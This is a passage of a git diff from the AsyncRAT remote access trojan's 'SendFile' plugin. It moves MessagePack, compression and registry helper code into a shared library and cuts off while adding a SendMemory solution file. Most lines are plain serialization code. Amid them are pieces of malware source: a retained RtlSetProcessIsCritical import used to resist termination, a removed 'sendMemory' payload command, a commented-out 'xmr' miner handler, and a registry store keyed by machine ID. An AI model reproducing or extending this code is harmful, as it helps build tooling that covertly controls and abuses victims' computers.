tmp.SetAsString(value); - } - - public void Add(string key, int value) - { - MsgPack tmp = InnerAddArrayChild(); - tmp.name = key; - tmp.SetAsInteger(value); - } - - public bool LoadFileAsBytes(string fileName) - { - if (File.Exists(fileName)) - { - byte[] value = null; - FileStream fs = new FileStream(fileName, FileMode.Open, FileAccess.Read, FileShare.Read); - value = new byte[fs.Length]; - fs.Read(value, 0, (int)fs.Length); - fs.Close(); - fs.Dispose(); - SetAsBytes(value); - return true; - } - else - { - return false; - } - - } - - public bool SaveBytesToFile(string fileName) - { - if (this.innerValue != null) - { - FileStream fs = new FileStream(fileName, FileMode.Append); - fs.Write(((byte[])this.innerValue), 0, ((byte[])this.innerValue).Length); - fs.Close(); - fs.Dispose(); - return true; - } - else - { - return false; - } - } - - public MsgPack ForcePathObject(string path) - { - MsgPack tmpParent, tmpObject; - tmpParent = this; - string[] pathList = path.Trim().Split(new Char[] { '.', '/', '\\' }); - string tmp = null; - if (pathList.Length == 0) - { - return null; - } - else if (pathList.Length > 1) - { - for (int i = 0; i < pathList.Length - 1; i++) - { - tmp = pathList[i]; - tmpObject = tmpParent.FindObject(tmp); - if (tmpObject == null) - { - tmpParent = tmpParent.InnerAddMapChild(); - tmpParent.SetName(tmp); - } - else - { - tmpParent = tmpObject; - } - } - } - tmp = pathList[pathList.Length - 1]; - int j = tmpParent.IndexOf(tmp); - if (j > -1) - { - return tmpParent.children[j]; - } - else - { - tmpParent = tmpParent.InnerAddMapChild(); - tmpParent.SetName(tmp); - return tmpParent; - } - } - - public void SetAsNull() - { - Clear(); - this.innerValue = null; - this.valueType = MsgPackType.Null; - } - - public void SetAsString(String value) - { - this.innerValue = value; - this.valueType = MsgPackType.String; - } - - public String GetAsString() - { - if (this.innerValue == null) - { - return ""; - } - else - { - return this.innerValue.ToString(); - } - - } - - public void SetAsBoolean(Boolean bVal) - { - this.valueType = MsgPackType.Boolean; - this.innerValue = bVal; - } - - public void SetAsSingle(Single fVal) - { - this.valueType = MsgPackType.Single; - this.innerValue = fVal; - } - - public void SetAsFloat(Double fVal) - { - this.valueType = MsgPackType.Float; - this.innerValue = fVal; - } - - - - public void DecodeFromBytes(byte[] bytes) - { - using (MemoryStream ms = new MemoryStream()) - { - bytes = Zip.Decompress(bytes); - ms.Write(bytes, 0, bytes.Length); - ms.Position = 0; - DecodeFromStream(ms); - } - } - - public void DecodeFromFile(string fileName) - { - FileStream fs = new FileStream(fileName, FileMode.Open); - DecodeFromStream(fs); - fs.Dispose(); - } - - - - public void DecodeFromStream(Stream ms) - { - byte lvByte = (byte)ms.ReadByte(); - byte[] rawByte = null; - MsgPack msgPack = null; - int len = 0; - int i = 0; - - if (lvByte <= 0x7F) - { //positive fixint 0xxxxxxx 0x00 - 0x7f - SetAsInteger(lvByte); - } - else if ((lvByte >= 0x80) && (lvByte <= 0x8F)) - { - //fixmap 1000xxxx 0x80 - 0x8f - this.Clear(); - this.valueType = MsgPackType.Map; - len = lvByte - 0x80; - for (i = 0; i < len; i++) - { - msgPack = InnerAdd(); - msgPack.SetName(ReadTools.ReadString(ms)); - msgPack.DecodeFromStream(ms); - } - } - else if ((lvByte >= 0x90) && (lvByte <= 0x9F)) //fixarray 1001xxxx 0x90 - 0x9f - { - //fixmap 1000xxxx 0x80 - 0x8f - this.Clear(); - this.valueType = MsgPackType.Array; - len = lvByte - 0x90; - for (i = 0; i < len; i++) - { - msgPack = InnerAdd(); - msgPack.DecodeFromStream(ms); - } - } - else if ((lvByte >= 0xA0) && (lvByte <= 0xBF)) // fixstr 101xxxxx 0xa0 - 0xbf - { - len = lvByte - 0xA0; - SetAsString(ReadTools.ReadString(ms, len)); - } - else if ((lvByte >= 0xE0) && (lvByte <= 0xFF)) - { /// -1..-32 - // negative fixnum stores 5-bit negative integer - // +--------+ - // |111YYYYY| - // +--------+ - SetAsInteger((sbyte)lvByte); - } - else if (lvByte == 0xC0) - { - SetAsNull(); - } - else if (lvByte == 0xC1) - { - throw new Exception("(never used) type $c1"); - } - else if (lvByte == 0xC2) - { - SetAsBoolean(false); - } - else if (lvByte == 0xC3) - { - SetAsBoolean(true); - } - else if (lvByte == 0xC4) - { // max 255 - len = ms.ReadByte(); - rawByte = new byte[len]; - ms.Read(rawByte, 0, len); - SetAsBytes(rawByte); - } - else if (lvByte == 0xC5) - { // max 65535 - rawByte = new byte[2]; - ms.Read(rawByte, 0, 2); - rawByte = BytesTools.SwapBytes(rawByte); - len = BitConverter.ToUInt16(rawByte, 0); - - // read binary - rawByte = new byte[len]; - ms.Read(rawByte, 0, len); - SetAsBytes(rawByte); - } - else if (lvByte == 0xC6) - { // binary max: 2^32-1 - rawByte = new byte[4]; - ms.Read(rawByte, 0, 4); - rawByte = BytesTools.SwapBytes(rawByte); - len = BitConverter.ToInt32(rawByte, 0); - - // read binary - rawByte = new byte[len]; - ms.Read(rawByte, 0, len); - SetAsBytes(rawByte); - } - else if ((lvByte == 0xC7) || (lvByte == 0xC8) || (lvByte == 0xC9)) - { - throw new Exception("(ext8,ext16,ex32) type $c7,$c8,$c9"); - } - else if (lvByte == 0xCA) - { // float 32 - rawByte = new byte[4]; - ms.Read(rawByte, 0, 4); - rawByte = BytesTools.SwapBytes(rawByte); - - SetAsSingle(BitConverter.ToSingle(rawByte, 0)); - } - else if (lvByte == 0xCB) - { // float 64 - rawByte = new byte[8]; - ms.Read(rawByte, 0, 8); - rawByte = BytesTools.SwapBytes(rawByte); - SetAsFloat(BitConverter.ToDouble(rawByte, 0)); - } - else if (lvByte == 0xCC) - { // uint8 - // uint 8 stores a 8-bit unsigned integer - // +--------+--------+ - // | 0xcc |ZZZZZZZZ| - // +--------+--------+ - lvByte = (byte)ms.ReadByte(); - SetAsInteger(lvByte); - } - else if (lvByte == 0xCD) - { // uint16 - // uint 16 stores a 16-bit big-endian unsigned integer - // +--------+--------+--------+ - // | 0xcd |ZZZZZZZZ|ZZZZZZZZ| - // +--------+--------+--------+ - rawByte = new byte[2]; - ms.Read(rawByte, 0, 2); - rawByte = BytesTools.SwapBytes(rawByte); - SetAsInteger(BitConverter.ToUInt16(rawByte, 0)); - } - else if (lvByte == 0xCE) - { - // uint 32 stores a 32-bit big-endian unsigned integer - // +--------+--------+--------+--------+--------+ - // | 0xce |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ - // +--------+--------+--------+--------+--------+ - rawByte = new byte[4]; - ms.Read(rawByte, 0, 4); - rawByte = BytesTools.SwapBytes(rawByte); - SetAsInteger(BitConverter.ToUInt32(rawByte, 0)); - } - else if (lvByte == 0xCF) - { - // uint 64 stores a 64-bit big-endian unsigned integer - // +--------+--------+--------+--------+--------+--------+--------+--------+--------+ - // | 0xcf |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ| - // +--------+--------+--------+--------+--------+--------+--------+--------+--------+ - rawByte = new byte[8]; - ms.Read(rawByte, 0, 8); - rawByte = BytesTools.SwapBytes(rawByte); - SetAsUInt64(BitConverter.ToUInt64(rawByte, 0)); - } - else if (lvByte == 0xDC) - { - // +--------+--------+--------+~~~~~~~~~~~~~~~~~+ - // | 0xdc |YYYYYYYY|YYYYYYYY| N objects | - // +--------+--------+--------+~~~~~~~~~~~~~~~~~+ - rawByte = new byte[2]; - ms.Read(rawByte, 0, 2); - rawByte = BytesTools.SwapBytes(rawByte); - len = BitConverter.ToInt16(rawByte, 0); - - this.Clear(); - this.valueType = MsgPackType.Array; - for (i = 0; i < len; i++) - { - msgPack = InnerAdd(); - msgPack.DecodeFromStream(ms); - } - } - else if (lvByte == 0xDD) - { - // +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+ - // | 0xdd |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ| N objects | - // +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+ - rawByte = new byte[4]; - ms.Read(rawByte, 0, 4); - rawByte = BytesTools.SwapBytes(rawByte); - len = BitConverter.ToInt16(rawByte, 0); - - this.Clear(); - this.valueType = MsgPackType.Array; - for (i = 0; i < len; i++) - { - msgPack = InnerAdd(); - msgPack.DecodeFromStream(ms); - } - } - else if (lvByte == 0xD9) - { - // str 8 stores a byte array whose length is upto (2^8)-1 bytes: - // +--------+--------+========+ - // | 0xd9 |YYYYYYYY| data | - // +--------+--------+========+ - SetAsString(ReadTools.ReadString(lvByte, ms)); - } - else if (lvByte == 0xDE) - { - // +--------+--------+--------+~~~~~~~~~~~~~~~~~+ - // | 0xde |YYYYYYYY|YYYYYYYY| N*2 objects | - // +--------+--------+--------+~~~~~~~~~~~~~~~~~+ - rawByte = new byte[2]; - ms.Read(rawByte, 0, 2); - rawByte = BytesTools.SwapBytes(rawByte); - len = BitConverter.ToInt16(rawByte, 0); - - this.Clear(); - this.valueType = MsgPackType.Map; - for (i = 0; i < len; i++) - { - msgPack = InnerAdd(); - msgPack.SetName(ReadTools.ReadString(ms)); - msgPack.DecodeFromStream(ms); - } - } - else if (lvByte == 0xDE) - { - // +--------+--------+--------+~~~~~~~~~~~~~~~~~+ - // | 0xde |YYYYYYYY|YYYYYYYY| N*2 objects | - // +--------+--------+--------+~~~~~~~~~~~~~~~~~+ - rawByte = new byte[2]; - ms.Read(rawByte, 0, 2); - rawByte = BytesTools.SwapBytes(rawByte); - len = BitConverter.ToInt16(rawByte, 0); - - this.Clear(); - this.valueType = MsgPackType.Map; - for (i = 0; i < len; i++) - { - msgPack = InnerAdd(); - msgPack.SetName(ReadTools.ReadString(ms)); - msgPack.DecodeFromStream(ms); - } - } - else if (lvByte == 0xDF) - { - // +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+ - // | 0xdf |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ| N*2 objects | - // +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+ - rawByte = new byte[4]; - ms.Read(rawByte, 0, 4); - rawByte = BytesTools.SwapBytes(rawByte); - len = BitConverter.ToInt32(rawByte, 0); - - this.Clear(); - this.valueType = MsgPackType.Map; - for (i = 0; i < len; i++) - { - msgPack = InnerAdd(); - msgPack.SetName(ReadTools.ReadString(ms)); - msgPack.DecodeFromStream(ms); - } - } - else if (lvByte == 0xDA) - { - // str 16 stores a byte array whose length is upto (2^16)-1 bytes: - // +--------+--------+--------+========+ - // | 0xda |ZZZZZZZZ|ZZZZZZZZ| data | - // +--------+--------+--------+========+ - SetAsString(ReadTools.ReadString(lvByte, ms)); - } - else if (lvByte == 0xDB) - { - // str 32 stores a byte array whose length is upto (2^32)-1 bytes: - // +--------+--------+--------+--------+--------+========+ - // | 0xdb |AAAAAAAA|AAAAAAAA|AAAAAAAA|AAAAAAAA| data | - // +--------+--------+--------+--------+--------+========+ - SetAsString(ReadTools.ReadString(lvByte, ms)); - } - else if (lvByte == 0xD0) - { - // int 8 stores a 8-bit signed integer - // +--------+--------+ - // | 0xd0 |ZZZZZZZZ| - // +--------+--------+ - SetAsInteger((sbyte)ms.ReadByte()); - } - else if (lvByte == 0xD1) - { - // int 16 stores a 16-bit big-endian signed integer - // +--------+--------+--------+ - // | 0xd1 |ZZZZZZZZ|ZZZZZZZZ| - // +--------+--------+--------+ - rawByte = new byte[2]; - ms.Read(rawByte, 0, 2); - rawByte = BytesTools.SwapBytes(rawByte); - SetAsInteger(BitConverter.ToInt16(rawByte, 0)); - } - else if (lvByte == 0xD2) - { - // int 32 stores a 32-bit big-endian signed integer - // +--------+--------+--------+--------+--------+ - // | 0xd2 |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ| - // +--------+--------+--------+--------+--------+ - rawByte = new byte[4]; - ms.Read(rawByte, 0, 4); - rawByte = BytesTools.SwapBytes(rawByte); - SetAsInteger(BitConverter.ToInt32(rawByte, 0)); - } - else if (lvByte == 0xD3) - { - // int 64 stores a 64-bit big-endian signed integer - // +--------+--------+--------+--------+--------+--------+--------+--------+--------+ - // | 0xd3 |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ| - // +--------+--------+--------+--------+--------+--------+--------+--------+--------+ - rawByte = new byte[8]; - ms.Read(rawByte, 0, 8); - rawByte = BytesTools.SwapBytes(rawByte); - SetAsInteger(BitConverter.ToInt64(rawByte, 0)); - } - } - - public byte[] Encode2Bytes() - { - using (MemoryStream ms = new MemoryStream()) - { - Encode2Stream(ms); - byte[] r = new byte[ms.Length]; - ms.Position = 0; - ms.Read(r, 0, (int)ms.Length); - return Zip.Compress(r); - } - } - - public void Encode2Stream(Stream ms) - { - switch (this.valueType) - { - case MsgPackType.Unknown: - case MsgPackType.Null: - WriteTools.WriteNull(ms); - break; - case MsgPackType.String: - WriteTools.WriteString(ms, (String)this.innerValue); - break; - case MsgPackType.Integer: - WriteTools.WriteInteger(ms, (Int64)this.innerValue); - break; - case MsgPackType.UInt64: - WriteTools.WriteUInt64(ms, (UInt64)this.innerValue); - break; - case MsgPackType.Boolean: - WriteTools.WriteBoolean(ms, (Boolean)this.innerValue); - break; - case MsgPackType.Float: - WriteTools.WriteFloat(ms, (Double)this.innerValue); - break; - case MsgPackType.Single: - WriteTools.WriteFloat(ms, (Single)this.innerValue); - break; - case MsgPackType.DateTime: - WriteTools.WriteInteger(ms, GetAsInteger()); - break; - case MsgPackType.Binary: - WriteTools.WriteBinary(ms, (byte[])this.innerValue); - break; - case MsgPackType.Map: - WriteMap(ms); - break; - case MsgPackType.Array: - WirteArray(ms); - break; - default: - WriteTools.WriteNull(ms); - break; - } - } - - public String AsString - { - get - { - return GetAsString(); - } - set - { - SetAsString(value); - } - } - - public Int64 AsInteger - { - get { return GetAsInteger(); } - set { SetAsInteger((Int64)value); } - } - - public Double AsFloat - { - get { return GetAsFloat(); } - set { SetAsFloat(value); } - } - public MsgPackArray AsArray - { - get - { - lock (this) - { - if (refAsArray == null) - { - refAsArray = new MsgPackArray(this, children); - } - } - return refAsArray; - } - } - - - public MsgPackType ValueType - { - get { return valueType; } - } - - - IEnumerator IEnumerable.GetEnumerator() - { - return new MsgPackEnum(children); - } - } -} \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/SendFile/SendFile/MessagePack/MsgPackType.cs b/AsyncRAT-C#/Plugin/SendFile/SendFile/MessagePack/MsgPackType.cs deleted file mode 100644 index 2567ae6..0000000 --- a/AsyncRAT-C#/Plugin/SendFile/SendFile/MessagePack/MsgPackType.cs +++ /dev/null @@ -1,24 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Linq; -using System.Text; -using System.Threading.Tasks; - -namespace Plugin.MessagePack -{ - public enum MsgPackType - { - Unknown = 0, - Null = 1, - Map = 2, - Array = 3, - String = 4, - Integer = 5, - UInt64 = 6, - Boolean = 7, - Float = 8, - Single = 9, - DateTime = 10, - Binary = 11 - } -} \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/SendFile/SendFile/MessagePack/ReadTools.cs b/AsyncRAT-C#/Plugin/SendFile/SendFile/MessagePack/ReadTools.cs deleted file mode 100644 index 9e85968..0000000 --- a/AsyncRAT-C#/Plugin/SendFile/SendFile/MessagePack/ReadTools.cs +++ /dev/null @@ -1,84 +0,0 @@ -using System; -using System.Collections.Generic; -using System.IO; -using System.Linq; -using System.Text; -using System.Threading.Tasks; - -namespace Plugin.MessagePack -{ - class ReadTools - { - public static String ReadString(Stream ms, int len) - { - byte[] rawBytes = new byte[len]; - ms.Read(rawBytes, 0, len); - return BytesTools.GetString(rawBytes); - } - - public static String ReadString(Stream ms) - { - byte strFlag = (byte)ms.ReadByte(); - return ReadString(strFlag, ms); - } - - public static String ReadString(byte strFlag, Stream ms) - { - // - //fixstr stores a byte array whose length is upto 31 bytes: - //+--------+========+ - //|101XXXXX| data | - //+--------+========+ - // - //str 8 stores a byte array whose length is upto (2^8)-1 bytes: - //+--------+--------+========+ - //| 0xd9 |YYYYYYYY| data | - //+--------+--------+========+ - // - //str 16 stores a byte array whose length is upto (2^16)-1 bytes: - //+--------+--------+--------+========+ - //| 0xda |ZZZZZZZZ|ZZZZZZZZ| data | - //+--------+--------+--------+========+ - // - //str 32 stores a byte array whose length is upto (2^32)-1 bytes: - //+--------+--------+--------+--------+--------+========+ - //| 0xdb |AAAAAAAA|AAAAAAAA|AAAAAAAA|AAAAAAAA| data | - //+--------+--------+--------+--------+--------+========+ - // - //where - //* XXXXX is a 5-bit unsigned integer which represents N - //* YYYYYYYY is a 8-bit unsigned integer which represents N - //* ZZZZZZZZ_ZZZZZZZZ is a 16-bit big-endian unsigned integer which represents N - //* AAAAAAAA_AAAAAAAA_AAAAAAAA_AAAAAAAA is a 32-bit big-endian unsigned integer which represents N - //* N is the length of data - - byte[] rawBytes = null; - int len = 0; - if ((strFlag >= 0xA0) && (strFlag <= 0xBF)) - { - len = strFlag - 0xA0; - } - else if (strFlag == 0xD9) - { - len = ms.ReadByte(); - } - else if (strFlag == 0xDA) - { - rawBytes = new byte[2]; - ms.Read(rawBytes, 0, 2); - rawBytes = BytesTools.SwapBytes(rawBytes); - len = BitConverter.ToUInt16(rawBytes, 0); - } - else if (strFlag == 0xDB) - { - rawBytes = new byte[4]; - ms.Read(rawBytes, 0, 4); - rawBytes = BytesTools.SwapBytes(rawBytes); - len = BitConverter.ToInt32(rawBytes, 0); - } - rawBytes = new byte[len]; - ms.Read(rawBytes, 0, len); - return BytesTools.GetString(rawBytes); - } - } -} \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/SendFile/SendFile/MessagePack/WriteTools.cs b/AsyncRAT-C#/Plugin/SendFile/SendFile/MessagePack/WriteTools.cs deleted file mode 100644 index 3de69fa..0000000 --- a/AsyncRAT-C#/Plugin/SendFile/SendFile/MessagePack/WriteTools.cs +++ /dev/null @@ -1,199 +0,0 @@ -using System; -using System.IO; - -namespace Plugin.MessagePack -{ - class WriteTools - { - public static void WriteNull(Stream ms) - { - ms.WriteByte(0xC0); - } - - public static void WriteString(Stream ms, String strVal) - { - // - //fixstr stores a byte array whose length is upto 31 bytes: - //+--------+========+ - //|101XXXXX| data | - //+--------+========+ - // - //str 8 stores a byte array whose length is upto (2^8)-1 bytes: - //+--------+--------+========+ - //| 0xd9 |YYYYYYYY| data | - //+--------+--------+========+ - // - //str 16 stores a byte array whose length is upto (2^16)-1 bytes: - //+--------+--------+--------+========+ - //| 0xda |ZZZZZZZZ|ZZZZZZZZ| data | - //+--------+--------+--------+========+ - // - //str 32 stores a byte array whose length is upto (2^32)-1 bytes: - //+--------+--------+--------+--------+--------+========+ - //| 0xdb |AAAAAAAA|AAAAAAAA|AAAAAAAA|AAAAAAAA| data | - //+--------+--------+--------+--------+--------+========+ - // - //where - //* XXXXX is a 5-bit unsigned integer which represents N - //* YYYYYYYY is a 8-bit unsigned integer which represents N - //* ZZZZZZZZ_ZZZZZZZZ is a 16-bit big-endian unsigned integer which represents N - //* AAAAAAAA_AAAAAAAA_AAAAAAAA_AAAAAAAA is a 32-bit big-endian unsigned integer which represents N - //* N is the length of data - - byte[] rawBytes = BytesTools.GetUtf8Bytes(strVal); - byte[] lenBytes = null; - int len = rawBytes.Length; - byte b = 0; - if (len <= 31) - { - b = (byte)(0xA0 + (byte)len); - ms.WriteByte(b); - } - else if (len <= 255) - { - b = 0xD9; - ms.WriteByte(b); - b = (byte)len; - ms.WriteByte(b); - } - else if (len <= 65535) - { - b = 0xDA; - ms.WriteByte(b); - - lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int16)len)); - ms.Write(lenBytes, 0, lenBytes.Length); - } - else - { - b = 0xDB; - ms.WriteByte(b); - - lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int32)len)); - ms.Write(lenBytes, 0, lenBytes.Length); - } - ms.Write(rawBytes, 0, rawBytes.Length); - } - public static void WriteBinary(Stream ms, byte[] rawBytes) - { - - byte[] lenBytes = null; - int len = rawBytes.Length; - byte b = 0; - if (len <= 255) - { - b = 0xC4; - ms.WriteByte(b); - b = (byte)len; - ms.WriteByte(b); - } - else if (len <= 65535) - { - b = 0xC5; - ms.WriteByte(b); - - lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int16)len)); - ms.Write(lenBytes, 0, lenBytes.Length); - } - else - { - b = 0xC6; - ms.WriteByte(b); - - lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int32)len)); - ms.Write(lenBytes, 0, lenBytes.Length); - } - ms.Write(rawBytes, 0, rawBytes.Length); - } - - public static void WriteFloat(Stream ms, Double fVal) - { - ms.WriteByte(0xCB); - ms.Write(BytesTools.SwapDouble(fVal), 0, 8); - } - - public static void WriteSingle(Stream ms, Single fVal) - { - ms.WriteByte(0xCA); - ms.Write(BytesTools.SwapBytes(BitConverter.GetBytes(fVal)), 0, 4); - } - - public static void WriteBoolean(Stream ms, Boolean bVal) - { - if (bVal) - { - ms.WriteByte(0xC3); - } - else - { - ms.WriteByte(0xC2); - } - } - - - public static void WriteUInt64(Stream ms, UInt64 iVal) - { - ms.WriteByte(0xCF); - byte[] dataBytes = BitConverter.GetBytes(iVal); - ms.Write(BytesTools.SwapBytes(dataBytes), 0, 8); - } - - public static void WriteInteger(Stream ms, Int64 iVal) - { - if (iVal >= 0) - { // 正数 - if (iVal <= 127) - { - ms.WriteByte((byte)iVal); - } - else if (iVal <= 255) - { //UInt8 - ms.WriteByte(0xCC); - ms.WriteByte((byte)iVal); - } - else if (iVal <= (UInt32)0xFFFF) - { //UInt16 - ms.WriteByte(0xCD); - ms.Write(BytesTools.SwapInt16((Int16)iVal), 0, 2); - } - else if (iVal <= (UInt32)0xFFFFFFFF) - { //UInt32 - ms.WriteByte(0xCE); - ms.Write(BytesTools.SwapInt32((Int32)iVal), 0, 4); - } - else - { //Int64 - ms.WriteByte(0xD3); - ms.Write(BytesTools.SwapInt64(iVal), 0, 8); - } - } - else - { // <0 - if (iVal <= Int32.MinValue) //-2147483648 // 64 bit - { - ms.WriteByte(0xD3); - ms.Write(BytesTools.SwapInt64(iVal), 0, 8); - } - else if (iVal <= Int16.MinValue) // -32768 // 32 bit - { - ms.WriteByte(0xD2); - ms.Write(BytesTools.SwapInt32((Int32)iVal), 0, 4); - } - else if (iVal <= -128) // -32768 // 32 bit - { - ms.WriteByte(0xD1); - ms.Write(BytesTools.SwapInt16((Int16)iVal), 0, 2); - } - else if (iVal <= -32) - { - ms.WriteByte(0xD0); - ms.WriteByte((byte)iVal); - } - else - { - ms.WriteByte((byte)iVal); - } - } // end <0 - } - } -} \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/SendFile/SendFile/Methods.cs b/AsyncRAT-C#/Plugin/SendFile/SendFile/Methods.cs index b045355..776a704 100644 --- a/AsyncRAT-C#/Plugin/SendFile/SendFile/Methods.cs +++ b/AsyncRAT-C#/Plugin/SendFile/SendFile/Methods.cs @@ -62,42 +62,6 @@ namespace Plugin } } - public static byte[] Decompress(byte[] input) - { - using (var source = new MemoryStream(input)) - { - byte[] lengthBytes = new byte[4]; - source.Read(lengthBytes, 0, 4); - - var length = BitConverter.ToInt32(lengthBytes, 0); - using (var decompressionStream = new GZipStream(source, - CompressionMode.Decompress)) - { - var result = new byte[length]; - decompressionStream.Read(result, 0, length); - return result; - } - } - } - - public static byte[] Compress(byte[] input) - { - using (var result = new MemoryStream()) - { - var lengthBytes = BitConverter.GetBytes(input.Length); - result.Write(lengthBytes, 0, 4); - - using (var compressionStream = new GZipStream(result, - CompressionMode.Compress)) - { - compressionStream.Write(input, 0, input.Length); - compressionStream.Flush(); - - } - return result.ToArray(); - } - } - [DllImport("ntdll.dll", SetLastError = true)] private static extern void RtlSetProcessIsCritical(UInt32 v1, UInt32 v2, UInt32 v3); } diff --git a/AsyncRAT-C#/Plugin/SendFile/SendFile/Packet.cs b/AsyncRAT-C#/Plugin/SendFile/SendFile/Packet.cs index 596e85f..a867f43 100644 --- a/AsyncRAT-C#/Plugin/SendFile/SendFile/Packet.cs +++ b/AsyncRAT-C#/Plugin/SendFile/SendFile/Packet.cs @@ -1,5 +1,5 @@ using Plugin.Handler; -using Plugin.MessagePack; +using MessagePackLib.MessagePack; using System; using System.Collections.Generic; using System.Diagnostics; @@ -28,18 +28,6 @@ namespace Plugin new HandleSendTo().SendToDisk(unpack_msgpack); break; } - - case "sendMemory": - { - new HandleSendTo().SendToMemory(unpack_msgpack); - break; - } - - //case "xmr": - // { - // new HandleMiner(unpack_msgpack); - // break; - // } } } catch (Exception ex) diff --git a/AsyncRAT-C#/Plugin/SendFile/SendFile/Plugin.cs b/AsyncRAT-C#/Plugin/SendFile/SendFile/Plugin.cs index a59807f..631e7f3 100644 --- a/AsyncRAT-C#/Plugin/SendFile/SendFile/Plugin.cs +++ b/AsyncRAT-C#/Plugin/SendFile/SendFile/Plugin.cs @@ -1,17 +1,11 @@ -using Plugin.MessagePack; -using System; -using System.Collections.Generic; -using System.Diagnostics; -using System.Linq; -using System.Net.Security; +using System.Diagnostics; using System.Net.Sockets; using System.Security.Cryptography.X509Certificates; -using System.Text; using System.Threading; namespace Plugin { - public class Plugin + public class Plugin { public static Socket Socket; public static Mutex AppMutex; diff --git a/AsyncRAT-C#/Plugin/SendFile/SendFile/SendFile.csproj b/AsyncRAT-C#/Plugin/SendFile/SendFile/SendFile.csproj index 5caedaa..15b904b 100644 --- a/AsyncRAT-C#/Plugin/SendFile/SendFile/SendFile.csproj +++ b/AsyncRAT-C#/Plugin/SendFile/SendFile/SendFile.csproj @@ -1,5 +1,7 @@  + + Debug @@ -47,18 +49,32 @@ - - - - - - - - + + + + {DC199D9E-CF10-41DD-BBCD-98E71BA8679D} + MessagePackLib + + + + + + + + + + + This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them. For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {0}. + + + + + + \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/SendFile/SendFile/SetRegistry.cs b/AsyncRAT-C#/Plugin/SendFile/SendFile/SetRegistry.cs deleted file mode 100644 index de8e750..0000000 --- a/AsyncRAT-C#/Plugin/SendFile/SendFile/SetRegistry.cs +++ /dev/null @@ -1,89 +0,0 @@ -using Microsoft.Win32; -using System; -using System.Collections.Generic; -using System.Linq; -using System.Text; - -namespace Plugin -{ - public static class SetRegistry - { - private static readonly string ID = @"Software\" + Connection.Hwid; - - /* - * Author : NYAN CAT - * Name : Lime Registry DB - * Contact Me : https:github.com/NYAN-x-CAT - * This program is distributed for educational purposes only. - */ - - public static bool SetValue(string name, string value) - { - try - { - using (RegistryKey key = Registry.CurrentUser.CreateSubKey(ID, RegistryKeyPermissionCheck.ReadWriteSubTree)) - { - key.SetValue(name, value, RegistryValueKind.ExpandString); - return true; - } - } - catch (Exception ex) - { - Packet.Error(ex.Message); - } - return false; - } - - public static string GetValue(string value) - { - try - { - using (RegistryKey key = Registry.CurrentUser.CreateSubKey(ID)) - { - object o = key.GetValue(value); - return (string)o; - } - } - catch (Exception ex) - { - Packet.Error(ex.Message); - } - return null; - } - - public static bool DeleteValue(string name) - { - try - { - using (RegistryKey key = Registry.CurrentUser.CreateSubKey(ID)) - { - key.DeleteValue(name); - return true; - } - } - catch (Exception ex) - { - Packet.Error(ex.Message); - } - return false; - } - - public static bool DeleteSubKey() - { - try - { - using (RegistryKey key = Registry.CurrentUser.OpenSubKey("", true)) - { - key.DeleteSubKeyTree(ID); - return true; - } - } - catch (Exception ex) - { - Packet.Error(ex.Message); - } - return false; - } - } - -} diff --git a/AsyncRAT-C#/Plugin/SendFile/SendFile/Zip.cs b/AsyncRAT-C#/Plugin/SendFile/SendFile/Zip.cs deleted file mode 100644 index 60db829..0000000 --- a/AsyncRAT-C#/Plugin/SendFile/SendFile/Zip.cs +++ /dev/null @@ -1,45 +0,0 @@ -using System; -using System.IO; -using System.IO.Compression; - -namespace Plugin -{ - public static class Zip - { - public static byte[] Decompress(byte[] input) - { - using (var source = new MemoryStream(input)) - { - byte[] lengthBytes = new byte[4]; - source.Read(lengthBytes, 0, 4); - - var length = BitConverter.ToInt32(lengthBytes, 0); - using (var decompressionStream = new GZipStream(source, - CompressionMode.Decompress)) - { - var result = new byte[length]; - decompressionStream.Read(result, 0, length); - return result; - } - } - } - - public static byte[] Compress(byte[] input) - { - using (var result = new MemoryStream()) - { - var lengthBytes = BitConverter.GetBytes(input.Length); - result.Write(lengthBytes, 0, 4); - - using (var compressionStream = new GZipStream(result, - CompressionMode.Compress)) - { - compressionStream.Write(input, 0, input.Length); - compressionStream.Flush(); - - } - return result.ToArray(); - } - } - } -} diff --git a/AsyncRAT-C#/Plugin/SendFile/SendFile/packages.config b/AsyncRAT-C#/Plugin/SendFile/SendFile/packages.config new file mode 100644 index 0000000..1bc7f33 --- /dev/null +++ b/AsyncRAT-C#/Plugin/SendFile/SendFile/packages.config @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/SendMemory/SendMemory.sln b/AsyncRAT-C#/Plugin/SendMemory/SendMemory.sln new file mode 100644 index 0000000..271867c --- /dev/null +++ b/AsyncRAT-C#/Plugin/SendMemory/SendMemory.sln @@ -0,0 +1,25 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 16 +VisualStudioVersion = 16.0.30002.166 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SendMemory", "SendMemory\SendMemory.csproj", "{0E423DD6-FAAF-4A66-8828-6A5A5F22269B}" +EndProject +Global + 